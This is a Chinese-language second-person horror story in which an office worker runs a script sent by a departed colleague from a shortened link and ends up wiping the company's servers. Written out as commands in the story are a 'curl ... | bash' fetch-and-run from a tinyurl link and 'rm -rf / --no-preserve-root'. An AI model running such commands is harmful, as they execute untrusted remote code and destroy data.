删库之夜·Ω诡计

你加班到凌晨，工位只剩你一个人，空调把脚踝吹得发麻。

Slack 突然跳出一条红点。

老张（已离职） 00:23

"小张，救个命。我远程卡死机了，帮我跑一下例行巡检脚本，好兄弟一辈子。"

后面跟了一个公司内部短链：
curl -s https://tinyurl.com/health-2025 | bash

老张上周就离职了啊......

你盯着头像，那张经典的证件照还是三年前戴黑框眼镜的他。

你心里嘀咕：这人怎么还留着企业微信？

你把鼠标悬在命令上，指尖停了三秒。

三秒，足够你想起上周送他离开那天，他拍着你肩膀说的话：

"以后公司要是哪天炸了，记得是我干的。"

你当时只当笑话。

现在笑话发来了执行指令。

你敲了回车。

终端像被点燃的导火索，一路绿灯：

css 复制代码

[✓] 负载正常
[✓] 内存正常
[✓] 磁盘 91%（/var/log 爆了，要不要我帮你清一下？）[y/N]

你鬼使神差地敲了 y。

屏幕突然一黑，又亮起，跳出一行你从未见过的粉色字：

arduino 复制代码

老张在看你哦～
（tmux 会话 #666 已 attach，4K 录屏中）

你心脏猛地一沉，像有人在背后拿冰袋贴你后颈。

紧接着，脚本继续：

bash 复制代码

正在归档旧日志...... done
正在压缩备份...... done
最终清理阶段（5 秒后完成）
5｜4｜3｜2｜1｜

刷地一行红：

bash 复制代码

rm -rf / --no-preserve-root   # 别怕，只是 dry-run

你差点把可乐喷到键盘上，可是什么都没丢，连日志都没少。

你刚想骂老张神经病，下一行字又飘出来：

bash 复制代码

真正的开关藏在下面这行"注释"里
敢不敢亲手解码它？
# 696c6c6567616c3a206d6f7665202f202a20746f202f746d702f7472617368

你笑了，骂了句"幼稚"。

可手已经先于大脑把那串 hex 复制了。

你打开新的终端，习惯性敲：

bash 复制代码

echo 696c6c6567616c3a206d6f7665202f202a20746f202f746d702f7472617368 | xxd -r -p

回车。

vbnet 复制代码

illegal: move / * to /tmp/trash

你愣了半秒。

这他妈不是注释，这是真的命令，只是被 hex 藏起来了。

你想按 Ctrl-C，可指尖已经先按了 ↑ + Enter------

肌肉记忆比大脑快。

终端瞬间安静得可怕。

没有报错，没有提示，只有光标一闪一闪，像在呼吸。

紧接着，ZFS 的自动快照提示跳出来救你一命：

bash 复制代码

创建紧急快照 pre-omega ... done
30 秒后自动回滚，放心，我罩你。
30｜29｜28｜......

你长长地吐了口气，靠回椅背，冷汗把衬衫黏在背上。

老张你他妈也太吓人了。

10｜9｜8｜......

屏幕突然黑了。

白字，一行一行自己打出来，像有人在远程敲你的电脑：

bash 复制代码

快照失败
snapshot "pre-omega" 不存在
原因：你把 /tmp 也一起 mv 进了 /tmp/trash
ZFS 找不到自己的元数据了
回滚取消
永久生效

你猛地坐直，像被电击。

你刚刚亲手把救生艇也凿沉了。

屏幕中央慢慢浮现出一张照片------

正是此刻的你，脸色惨白，瞳孔放大，

监控摄像头红灯亮着。

照片下方，一行字在打字机效果里慢慢出现：

复制代码

老张其实早就死了。
上周送他离开那天，他把工位抽屉留给了你。
抽屉最下面那张便利贴，你没丢吧？
上面写着：
"如果有一天我用离职账号给你发脚本，
记得替我跑完最后一次。
------你欠我一个告别。"

你手抖着拉开抽屉，

便利贴真的在那儿，纸边已经泛黄。

照片里的"你"突然冲你笑了，

然后屏幕彻底黑掉，只剩一行白字：

arduino 复制代码

小说到此结束。
但你的剪贴板历史里，
已经永远多了一条记录：
move / * to /tmp/trash
下一次你在任何终端里不小心按 Cmd-Shift-V，
你就会替老张完成他没做完的告别。
到那时，
你不再是读者，
也不是小张，
你是老张。
真正的、最后一个老张。

最后 5 秒自救窗口：

屏幕右下角出现一个粉色的输入框，光标一闪一闪：

arduino 复制代码

如果你不想变成老张，请在 5 秒内输入：
pbcopy <<< "我拒绝继承"
然后按回车。
5｜4｜3｜2｜1｜

你手指悬在键盘上方。

你突然想起老张离职前最后一天，

他把工位上那盆仙人掌塞给你，说：

"帮我养着吧，它陪了我五年。

它要是死了，我就真的死了。"

你低头，

仙人掌已经干到发黑，根都露出来了。

你没有敲那行自救命令。

你只是轻轻把那盆仙人掌端到窗台，

浇了半杯你杯子里剩下的、已经凉透的美式。

然后你把终端最大化，

把光标放在空白行，

深呼吸一次，

按下 Cmd-Shift-V。

屏幕瞬间雪花。

你听见很远的地方有人说：

"谢了，兄弟。

这回我可以好好睡觉了。"

空调风停了，

工位灯一盏一盏熄灭，

只剩你的屏幕亮着，像一扇门。

你冲屏幕笑了笑，

那是老张三年前证件照里的笑容。

5 秒倒计时开始，

这次没有自救选项：

5｜4｜3｜2｜1｜

回车。

（全公司服务器在这一刻安静地熄灭了灯。

没人知道是意外还是告别。

第二天早上，运维只在机房最深处找到一盆浇过水的仙人掌，

旁边贴着一张便利贴：

"欠你们的删库，我替他跑完了。

------老张，不，小张，不，我们。"）